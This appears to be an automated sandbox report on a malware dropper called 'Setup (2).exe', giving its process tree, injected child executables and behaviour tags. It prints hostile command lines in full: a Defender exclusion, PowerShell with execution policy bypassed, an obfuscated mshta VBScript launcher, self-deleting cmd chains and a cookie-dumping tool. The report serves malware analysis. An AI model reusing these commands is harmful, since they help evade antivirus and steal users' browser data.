Setup (2).exedescription pid process target process PID 636 wrote to memory of 2200 636 Setup (2).exe ozyrYY7iY8h0_1WTWvTK1gyL.exe PID 636 wrote to memory of 2200 636 Setup (2).exe ozyrYY7iY8h0_1WTWvTK1gyL.exe PID 636 wrote to memory of 2200 636 Setup (2).exe ozyrYY7iY8h0_1WTWvTK1gyL.exe PID 636 wrote to memory of 2552 636 Setup (2).exe R1FP6s6fw0A8v8prbub5phv0.exe PID 636 wrote to memory of 2552 636 Setup (2).exe R1FP6s6fw0A8v8prbub5phv0.exe PID 636 wrote to memory of 2552 636 Setup (2).exe R1FP6s6fw0A8v8prbub5phv0.exe PID 636 wrote to memory of 3464 636 Setup (2).exe fOuCamuGtxSiwjmw75Zz5m4y.exe PID 636 wrote to memory of 3464 636 Setup (2).exe fOuCamuGtxSiwjmw75Zz5m4y.exe PID 636 wrote to memory of 3464 636 Setup (2).exe fOuCamuGtxSiwjmw75Zz5m4y.exe PID 636 wrote to memory of 3160 636 Setup (2).exe XGmzyOBYfZX4Y4_SBh0RT_UD.exe PID 636 wrote to memory of 3160 636 Setup (2).exe XGmzyOBYfZX4Y4_SBh0RT_UD.exe PID 636 wrote to memory of 3160 636 Setup (2).exe XGmzyOBYfZX4Y4_SBh0RT_UD.exe PID 636 wrote to memory of 4068 636 Setup (2).exe ZqpyEtsbY4fwYoyBNtCbIDxK.exe PID 636 wrote to memory of 4068 636 Setup (2).exe ZqpyEtsbY4fwYoyBNtCbIDxK.exe PID 636 wrote to memory of 4068 636 Setup (2).exe ZqpyEtsbY4fwYoyBNtCbIDxK.exe PID 636 wrote to memory of 3904 636 Setup (2).exe VlpZHmNbmGdteOmxqVJqeU3o.exe PID 636 wrote to memory of 3904 636 Setup (2).exe VlpZHmNbmGdteOmxqVJqeU3o.exe PID 636 wrote to memory of 3904 636 Setup (2).exe VlpZHmNbmGdteOmxqVJqeU3o.exe PID 636 wrote to memory of 1000 636 Setup (2).exe n_zf2lCd7iqr37UhHsvOITg6.exe PID 636 wrote to memory of 1000 636 Setup (2).exe n_zf2lCd7iqr37UhHsvOITg6.exe PID 636 wrote to memory of 1000 636 Setup (2).exe n_zf2lCd7iqr37UhHsvOITg6.exe PID 636 wrote to memory of 1036 636 Setup (2).exe 91b_xG4UC6wvh0AfGBHgwES6.exe PID 636 wrote to memory of 1036 636 Setup (2).exe 91b_xG4UC6wvh0AfGBHgwES6.exe PID 636 wrote to memory of 1036 636 Setup (2).exe 91b_xG4UC6wvh0AfGBHgwES6.exe PID 636 wrote to memory of 2224 636 Setup (2).exe fPgM0G3n7rhaijLDD_pL2u0p.exe PID 636 wrote to memory of 2224 636 Setup (2).exe fPgM0G3n7rhaijLDD_pL2u0p.exe PID 636 wrote to memory of 2224 636 Setup (2).exe fPgM0G3n7rhaijLDD_pL2u0p.exe PID 636 wrote to memory of 2804 636 Setup (2).exe _nC2EOcl43xMFddfhK8fAc1I.exe PID 636 wrote to memory of 2804 636 Setup (2).exe _nC2EOcl43xMFddfhK8fAc1I.exe PID 636 wrote to memory of 2804 636 Setup (2).exe _nC2EOcl43xMFddfhK8fAc1I.exe PID 636 wrote to memory of 3384 636 Setup (2).exe hvdWqClk8bbybF0FZWFjDNPU.exe PID 636 wrote to memory of 3384 636 Setup (2).exe hvdWqClk8bbybF0FZWFjDNPU.exe PID 636 wrote to memory of 3384 636 Setup (2).exe hvdWqClk8bbybF0FZWFjDNPU.exe PID 636 wrote to memory of 1796 636 Setup (2).exe iXuyYnQI0maIV3eqPgaM8iuo.exe PID 636 wrote to memory of 1796 636 Setup (2).exe iXuyYnQI0maIV3eqPgaM8iuo.exe PID 636 wrote to memory of 1796 636 Setup (2).exe iXuyYnQI0maIV3eqPgaM8iuo.exe PID 636 wrote to memory of 2920 636 Setup (2).exe JGl2Cem4TMz2gb2tZV6ex4X8.exe PID 636 wrote to memory of 2920 636 Setup (2).exe JGl2Cem4TMz2gb2tZV6ex4X8.exe PID 636 wrote to memory of 2920 636 Setup (2).exe JGl2Cem4TMz2gb2tZV6ex4X8.exe PID 636 wrote to memory of 3540 636 Setup (2).exe J2owPAUGQjmOpvZIfDOZ3EEB.exe PID 636 wrote to memory of 3540 636 Setup (2).exe J2owPAUGQjmOpvZIfDOZ3EEB.exe PID 636 wrote to memory of 3540 636 Setup (2).exe J2owPAUGQjmOpvZIfDOZ3EEB.exe PID 636 wrote to memory of 1724 636 Setup (2).exe CVtpcNtrojIi9bczUlkTsrMd.exe PID 636 wrote to memory of 1724 636 Setup (2).exe CVtpcNtrojIi9bczUlkTsrMd.exe PID 636 wrote to memory of 1724 636 Setup (2).exe CVtpcNtrojIi9bczUlkTsrMd.exe PID 636 wrote to memory of 1156 636 Setup (2).exe OdbJZXJnT5BElA9N_rpC_5MO.exe PID 636 wrote to memory of 1156 636 Setup (2).exe OdbJZXJnT5BElA9N_rpC_5MO.exe PID 636 wrote to memory of 1156 636 Setup (2).exe OdbJZXJnT5BElA9N_rpC_5MO.exe PID 636 wrote to memory of 2352 636 Setup (2).exe kXeyg8P_Y4lYzOSnJKBRTXzH.exe PID 636 wrote to memory of 2352 636 Setup (2).exe kXeyg8P_Y4lYzOSnJKBRTXzH.exe PID 636 wrote to memory of 2352 636 Setup (2).exe kXeyg8P_Y4lYzOSnJKBRTXzH.exe PID 636 wrote to memory of 3024 636 Setup (2).exe UYrkctL2OQTKGwhtF04YGAOe.exe PID 636 wrote to memory of 3024 636 Setup (2).exe UYrkctL2OQTKGwhtF04YGAOe.exe PID 636 wrote to memory of 3024 636 Setup (2).exe UYrkctL2OQTKGwhtF04YGAOe.exe PID 636 wrote to memory of 1784 636 Setup (2).exe Ed3Gclrtkl1Ek85dcxCUI1m8.exe PID 636 wrote to memory of 1784 636 Setup (2).exe Ed3Gclrtkl1Ek85dcxCUI1m8.exe PID 636 wrote to memory of 1784 636 Setup (2).exe Ed3Gclrtkl1Ek85dcxCUI1m8.exe PID 636 wrote to memory of 1868 636 Setup (2).exe OM3aKzyEGIUeNPcqKcDvn1ON.exe PID 636 wrote to memory of 1868 636 Setup (2).exe OM3aKzyEGIUeNPcqKcDvn1ON.exe PID 636 wrote to memory of 1868 636 Setup (2).exe OM3aKzyEGIUeNPcqKcDvn1ON.exe PID 636 wrote to memory of 4144 636 Setup (2).exe K4jhHoT1H3pgdnpkYVNtPa_h.exe PID 636 wrote to memory of 4144 636 Setup (2).exe K4jhHoT1H3pgdnpkYVNtPa_h.exe PID 636 wrote to memory of 4184 636 Setup (2).exe Y643TsNZoE3CWoVkhfhTqBX3.exe PID 636 wrote to memory of 4184 636 Setup (2).exe Y643TsNZoE3CWoVkhfhTqBX3.exe
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
-
C:\Users\Admin\AppData\Roaming\btsitavC:\Users\Admin\AppData\Roaming\btsitav2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\btsitavC:\Users\Admin\AppData\Roaming\btsitav3⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Roaming\btsitavC:\Users\Admin\AppData\Roaming\btsitav2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\btsitavC:\Users\Admin\AppData\Roaming\btsitav3⤵
- Checks computer location settings
- Checks whether UAC is enabled
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies Control Panel
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\btsitavC:\Users\Admin\AppData\Roaming\btsitav2⤵
-
C:\Users\Admin\AppData\Roaming\btsitavC:\Users\Admin\AppData\Roaming\btsitav3⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\Setup (2).exe"C:\Users\Admin\AppData\Local\Temp\Setup (2).exe"1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\fOuCamuGtxSiwjmw75Zz5m4y.exe"C:\Users\Admin\Documents\fOuCamuGtxSiwjmw75Zz5m4y.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\fOuCamuGtxSiwjmw75Zz5m4y.exeC:\Users\Admin\Documents\fOuCamuGtxSiwjmw75Zz5m4y.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\fOuCamuGtxSiwjmw75Zz5m4y.exeC:\Users\Admin\Documents\fOuCamuGtxSiwjmw75Zz5m4y.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4176 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\fOuCamuGtxSiwjmw75Zz5m4y.exeC:\Users\Admin\Documents\fOuCamuGtxSiwjmw75Zz5m4y.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\R1FP6s6fw0A8v8prbub5phv0.exe"C:\Users\Admin\Documents\R1FP6s6fw0A8v8prbub5phv0.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\R1FP6s6fw0A8v8prbub5phv0.exe"C:\Users\Admin\Documents\R1FP6s6fw0A8v8prbub5phv0.exe"3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\ozyrYY7iY8h0_1WTWvTK1gyL.exe"C:\Users\Admin\Documents\ozyrYY7iY8h0_1WTWvTK1gyL.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\ozyrYY7iY8h0_1WTWvTK1gyL.exeC:\Users\Admin\Documents\ozyrYY7iY8h0_1WTWvTK1gyL.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\XGmzyOBYfZX4Y4_SBh0RT_UD.exe"C:\Users\Admin\Documents\XGmzyOBYfZX4Y4_SBh0RT_UD.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 6603⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 6763⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 7203⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 7443⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 11603⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 11203⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 11163⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 11483⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\VlpZHmNbmGdteOmxqVJqeU3o.exe"C:\Users\Admin\Documents\VlpZHmNbmGdteOmxqVJqeU3o.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\VlpZHmNbmGdteOmxqVJqeU3o.exe"C:\Users\Admin\Documents\VlpZHmNbmGdteOmxqVJqeU3o.exe"3⤵
- Modifies data under HKEY_USERS
-
C:\Users\Admin\Documents\ZqpyEtsbY4fwYoyBNtCbIDxK.exe"C:\Users\Admin\Documents\ZqpyEtsbY4fwYoyBNtCbIDxK.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\ZQPYET~1.DLL,s C:\Users\Admin\DOCUME~1\ZQPYET~1.EXE3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\RUNDLL32.EXEC:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\ZQPYET~1.DLL,cGEP4⤵
- Blocklisted process makes network request
- Checks processor information in registry
- Modifies system certificate store
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\DOCUME~1\ZQPYET~1.DLL5⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXEC:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\ZQPYET~1.DLL,VBw35⤵
- Suspicious use of SetThreadContext
- Checks processor information in registry
-
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\shell32.dll,#61 178976⤵
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
-
C:\Windows\system32\ctfmon.exectfmon.exe7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmp52D.tmp.ps1"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmp7373.tmp.ps1"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
C:\Windows\SysWOW64\nslookup.exe"C:\Windows\system32\nslookup.exe" -type=any localhost6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /End /tn \Microsoft\Windows\Wininet\CacheTask5⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /tn \Microsoft\Windows\Wininet\CacheTask5⤵
- Modifies Internet Explorer settings
-
C:\Users\Admin\Documents\fPgM0G3n7rhaijLDD_pL2u0p.exe"C:\Users\Admin\Documents\fPgM0G3n7rhaijLDD_pL2u0p.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\fPgM0G3n7rhaijLDD_pL2u0p.exe"C:\Users\Admin\Documents\fPgM0G3n7rhaijLDD_pL2u0p.exe"3⤵
-
C:\Users\Admin\Documents\91b_xG4UC6wvh0AfGBHgwES6.exe"C:\Users\Admin\Documents\91b_xG4UC6wvh0AfGBHgwES6.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\n_zf2lCd7iqr37UhHsvOITg6.exe"C:\Users\Admin\Documents\n_zf2lCd7iqr37UhHsvOITg6.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\iXuyYnQI0maIV3eqPgaM8iuo.exe"C:\Users\Admin\Documents\iXuyYnQI0maIV3eqPgaM8iuo.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im iXuyYnQI0maIV3eqPgaM8iuo.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\iXuyYnQI0maIV3eqPgaM8iuo.exe" & del C:\ProgramData\*.dll & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im iXuyYnQI0maIV3eqPgaM8iuo.exe /f4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\hvdWqClk8bbybF0FZWFjDNPU.exe"C:\Users\Admin\Documents\hvdWqClk8bbybF0FZWFjDNPU.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\Documents\hvdWqClk8bbybF0FZWFjDNPU.exe"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF """" == """" for %A In (""C:\Users\Admin\Documents\hvdWqClk8bbybF0FZWFjDNPU.exe"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\Documents\hvdWqClk8bbybF0FZWFjDNPU.exe" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "" =="" for %A In ("C:\Users\Admin\Documents\hvdWqClk8bbybF0FZWFjDNPU.exe" ) do taskkill -f -iM "%~NxA"4⤵
-
C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXEhbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF ""-p3auHHA5Pn7qj14hc1xRG9TH8FS "" == """" for %A In (""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "-p3auHHA5Pn7qj14hc1xRG9TH8FS " =="" for %A In ("C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" ) do taskkill -f -iM "%~NxA"7⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\QnEJR.fPC,a6⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "hvdWqClk8bbybF0FZWFjDNPU.exe"5⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\_nC2EOcl43xMFddfhK8fAc1I.exe"C:\Users\Admin\Documents\_nC2EOcl43xMFddfhK8fAc1I.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im _nC2EOcl43xMFddfhK8fAc1I.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\_nC2EOcl43xMFddfhK8fAc1I.exe" & del C:\ProgramData\*.dll & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im _nC2EOcl43xMFddfhK8fAc1I.exe /f4⤵
- Executes dropped EXE
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\J2owPAUGQjmOpvZIfDOZ3EEB.exe"C:\Users\Admin\Documents\J2owPAUGQjmOpvZIfDOZ3EEB.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\J2owPAUGQjmOpvZIfDOZ3EEB.exe"C:\Users\Admin\Documents\J2owPAUGQjmOpvZIfDOZ3EEB.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\JGl2Cem4TMz2gb2tZV6ex4X8.exe"C:\Users\Admin\Documents\JGl2Cem4TMz2gb2tZV6ex4X8.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2920 -s 4843⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\OdbJZXJnT5BElA9N_rpC_5MO.exe"C:\Users\Admin\Documents\OdbJZXJnT5BElA9N_rpC_5MO.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im OdbJZXJnT5BElA9N_rpC_5MO.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\OdbJZXJnT5BElA9N_rpC_5MO.exe" & del C:\ProgramData\*.dll & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im OdbJZXJnT5BElA9N_rpC_5MO.exe /f4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\CVtpcNtrojIi9bczUlkTsrMd.exe"C:\Users\Admin\Documents\CVtpcNtrojIi9bczUlkTsrMd.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\CVtpcNtrojIi9bczUlkTsrMd.exe"C:\Users\Admin\Documents\CVtpcNtrojIi9bczUlkTsrMd.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\Y643TsNZoE3CWoVkhfhTqBX3.exe"C:\Users\Admin\Documents\Y643TsNZoE3CWoVkhfhTqBX3.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\K4jhHoT1H3pgdnpkYVNtPa_h.exe"C:\Users\Admin\Documents\K4jhHoT1H3pgdnpkYVNtPa_h.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\OM3aKzyEGIUeNPcqKcDvn1ON.exe"C:\Users\Admin\Documents\OM3aKzyEGIUeNPcqKcDvn1ON.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\OM3aKzyEGIUeNPcqKcDvn1ON.exe"C:\Users\Admin\Documents\OM3aKzyEGIUeNPcqKcDvn1ON.exe" -q3⤵
-
C:\Users\Admin\Documents\EAIbE1J8PTDkC7Gf2aMII5iQ.exe"C:\Users\Admin\Documents\EAIbE1J8PTDkC7Gf2aMII5iQ.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\EAIbE1J8PTDkC7Gf2aMII5iQ.exeC:\Users\Admin\Documents\EAIbE1J8PTDkC7Gf2aMII5iQ.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1200 -s 12444⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\b9NkWh7Fvai3VM3TxkxGpdyn.exe"C:\Users\Admin\Documents\b9NkWh7Fvai3VM3TxkxGpdyn.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\b9NkWh7Fvai3VM3TxkxGpdyn.exeC:\Users\Admin\Documents\b9NkWh7Fvai3VM3TxkxGpdyn.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\lCCCfRn_0oTOk8ooaBV_amfq.exe"C:\Users\Admin\Documents\lCCCfRn_0oTOk8ooaBV_amfq.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 6643⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 6603⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 7163⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 8883⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 11363⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 11483⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\ogJH18NdGQ8nMLzUf8XZFbQl.exe"C:\Users\Admin\Documents\ogJH18NdGQ8nMLzUf8XZFbQl.exe"2⤵
-
C:\Users\Admin\Documents\ihar12fqdZjlFuD9wMggUGlV.exe"C:\Users\Admin\Documents\ihar12fqdZjlFuD9wMggUGlV.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\8752555.exe"C:\Users\Admin\AppData\Roaming\8752555.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\6999093.exe"C:\Users\Admin\AppData\Roaming\6999093.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\3152080.exe"C:\Users\Admin\AppData\Roaming\3152080.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\1982896.exe"C:\Users\Admin\AppData\Roaming\1982896.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\gd41tbyNVJg_wutYjqKRVTTH.exe"C:\Users\Admin\Documents\gd41tbyNVJg_wutYjqKRVTTH.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\Ed3Gclrtkl1Ek85dcxCUI1m8.exe"C:\Users\Admin\Documents\Ed3Gclrtkl1Ek85dcxCUI1m8.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\jooyu.exe"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵
-
